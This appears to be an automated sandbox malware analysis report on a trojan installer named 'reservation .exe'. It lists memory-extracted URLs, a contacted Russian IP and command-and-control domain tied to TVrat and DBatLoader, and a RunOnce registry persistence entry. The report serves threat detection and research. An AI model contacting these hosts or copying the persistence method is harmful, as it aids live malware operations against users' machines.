https://id.xn--80akicokc0aablc.xn--p1ai:443/stClnstCln	ast.exe, 0000000A.00000003.3183555638.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.haxx.se/docs/http-cookies.html#	ast.exe	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443lnJm&	ast.exe, 0000000A.00000003.2895297263.0000000005C36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/ipr/1526/	ast.exe, 0000000A.00000000.2730281368.0000000000942000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:44335-	ast.exe, 0000000A.00000002.3309198121.0000000003122000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	reservation .exe, 00000000.00000003.2037832146.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, reservation .exe, 00000000.00000003.2037382869.0000000002640000.00000004.00001000.00020000.00000000.sdmp, reservation .tmp, 00000002.00000000.2039348105.0000000000401000.00000020.00000001.01000000.00000004.sdmp, reservation .tmp.3.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai4j1	ast.exe, 0000000A.00000003.3034764637.0000000005C3B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/docs/copyright.htmlD	ast.exe, 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1aiexe03	ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aifgGu	ast.exe, 0000000A.00000002.3325606674.000000000889D000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.innosetup.com/	reservation .exe, 00000000.00000003.2037832146.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, reservation .exe, 00000000.00000003.2037382869.0000000002640000.00000004.00001000.00020000.00000000.sdmp, reservation .tmp, 00000002.00000000.2039348105.0000000000401000.00000020.00000001.01000000.00000004.sdmp, reservation .tmp.3.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1aim;	ast.exe, 0000000A.00000002.3322683873.0000000005C68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443-	ast.exe, 0000000A.00000003.3073381090.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443/	ast.exe, 0000000A.00000003.3299966293.0000000005C39000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3183555638.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C39000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1aierW	ast.exe, 0000000A.00000003.2914715160.0000000005BFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:4432	ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ait.exeje	ast.exe, 0000000A.00000003.3034764637.0000000005C3B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aiget	ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443ln	ast.exe, 0000000A.00000003.2784241804.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3320611390.0000000005BE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443lnmm	ast.exe, 0000000A.00000003.3034764637.0000000005C3B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443/stClnD956C	ast.exe, 0000000A.00000003.3299966293.0000000005C39000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C39000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai	ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3324461869.0000000006A0C000.00000004.00000001.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337372696.000000006C946000.00000004.00000001.01000000.0000000F.sdmp, ast.exe, 0000000A.00000003.2835407797.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3073203061.0000000005C5B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005BF2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3034431813.0000000005C80000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3300702932.0000000005C69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1aigiGu	ast.exe, 0000000A.00000002.3324808318.0000000006D4D000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:44335y	ast.exe, 0000000A.00000002.3307636336.0000000002EEB000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	false		high
http://www.borland.com/namespaces/Typesw	ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.borland.com/namespaces/Typesy	ast.exe, 0000000B.00000002.2871829583.0000000000D98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443dm	ast.exe, 0000000A.00000003.2895297263.0000000005C36000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914306157.0000000005C39000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jrsoftware.github.io/issrc/ISHelp/isxfunc.xml	reservation .tmp, 00000004.00000003.2454431247.000000000372F000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:44335	ast.exe, 0000000A.00000003.3073381090.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3307636336.0000000002EEB000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C23000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443...43	ast.exe, 0000000A.00000002.3307636336.0000000002EE3000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aiZ	ast.exe, 0000000A.00000003.2784241804.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ait.exe	ast.exe, 0000000A.00000003.2914715160.0000000005BFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/exe	ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.borland.com/namespaces/Typesbcrypt	ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/ipr/1524/	ast.exe, 0000000A.00000000.2730281368.0000000000942000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1aid003	ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ainkEx	ast.exe, 0000000A.00000003.3007753831.0000000005C36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aii	ast.exe, 0000000A.00000002.3307636336.0000000002EF2000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aid	ast.exe, 0000000A.00000003.2895606355.0000000005BFC000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2807379986.0000000005C00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/)	ast.exe, 0000000A.00000000.2730281368.0000000000942000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1aie	ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai3	ast.exe, 0000000A.00000002.3306161257.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443gE	ast.exe, 0000000A.00000003.3183555638.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2895606355.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443gD	ast.exe, 0000000A.00000003.3007986036.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	false		high
http://solicecare.website/de37/update.phph?	ast.exe, 0000000C.00000002.2955493951.0000000002850000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/V	reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2457697380.000000000314A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aa	ast.exe, 0000000A.00000003.3035050247.0000000005C35000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2784241804.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005C68000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3007753831.0000000005C36000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265864125.0000000005C70000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--8X	ast.exe, 0000000A.00000003.3265864125.0000000005C69000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005C68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443g=	ast.exe, 0000000A.00000002.3306161257.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443gW	ast.exe, 0000000A.00000003.3183555638.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3007986036.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aiI	ast.exe, 0000000A.00000002.3306161257.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai.dllC;1	ast.exe, 0000000A.00000003.3299122357.0000000005C68000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3322683873.0000000005C68000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3300702932.0000000005C69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.borland.com/namespaces/TypesE	ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai.dllM	ast.exe, 0000000A.00000003.3267513698.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005BF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/docs/http-cookies.html	ast.exe, ast.exe, 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai.dllI	ast.exe, 0000000A.00000003.2914715160.0000000005BFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443ata	ast.exe, 0000000A.00000003.3007753831.0000000005C36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443gK	ast.exe, 0000000A.00000003.2895606355.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3073381090.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3267513698.0000000005C25000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.borland.com/namespaces/Typesn	ast.exe, 0000000B.00000002.2871829583.0000000000D98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443mm	ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.borland.com/namespaces/Types	ast.exe, 0000000A.00000002.3306161257.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2871829583.0000000000D98000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000C.00000002.2954858422.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0B	reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.borland.com/namespaces/Typesu	ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/V	ast.exe, 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmp	false		high
https://datatracker.ietf.org/ipr/1914/	ast.exe, 0000000A.00000000.2730281368.0000000000942000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://sectigo.com/CPS0C	reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0D	xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai)	ast.exe, 0000000A.00000002.3307636336.0000000002EF2000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443	ast.exe, 0000000A.00000003.3299966293.0000000005C3D000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2835407797.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005C35000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2807629713.0000000005C27000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914306157.0000000005C39000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443lnw#	ast.exe, 0000000A.00000002.3320611390.0000000005BE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443...	ast.exe, 0000000A.00000002.3324461869.0000000006A0C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443g1	ast.exe, 0000000A.00000003.3265137068.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3267513698.0000000005C25000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443lndm	ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443...4335AW	ast.exe, 0000000A.00000002.3307636336.0000000002EE3000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#	reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sqlite.org/copyright.html.	reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873934994.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai00	ast.exe, 0000000A.00000002.3306161257.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	false		high
https://www.openssl.org/docs/faq.html	xcopy.exe, 00000008.00000003.2457697380.000000000310F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1aieY	ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:44335...	ast.exe, 0000000A.00000002.3309198121.000000000311B000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aidll	ast.exe, 0000000A.00000003.3183555638.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aidllm	ast.exe, 0000000A.00000002.3322683873.0000000005C68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn-	ast.exe, 0000000A.00000003.3183555638.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2835183941.0000000005C31000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2895606355.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C23000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443gh	ast.exe, 0000000A.00000002.3321452635.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
212.193.169.65	id.xn--80akicokc0aablc.xn--p1ai	Russian Federation		60329	SAFIB-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558751
Start date and time:	2024-11-19 19:13:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	reservation .exe
Detection:	MAL
Classification:	mal84.troj.evad.winEXE@16/63@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: reservation .exe

Simulations

Behavior and APIs

Time	Type	Description
13:15:10	API Interceptor	3241x Sleep call for process: ast.exe modified
19:15:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce fat C:\Users\user\AppData\Roaming\fat\ast.exe
19:15:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce fat C:\Users\user\AppData\Roaming\fat\ast.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
212.193.169.65	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	id.xn--80akicokc0aablc.xn--p1ai:443http://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec
212.193.169.65	scan_9374673_Medoc.pdf.exe	Get hash	malicious	DBatLoader, TVrat	Browse	id.xn--80akicokc0aablc.xn--p1ai:80http://id.xn--80akicokc0aablc.xn--p1ai:80/api/exec

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
id.xn--80akicokc0aablc.xn--p1ai	oZ3vtWXObB.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
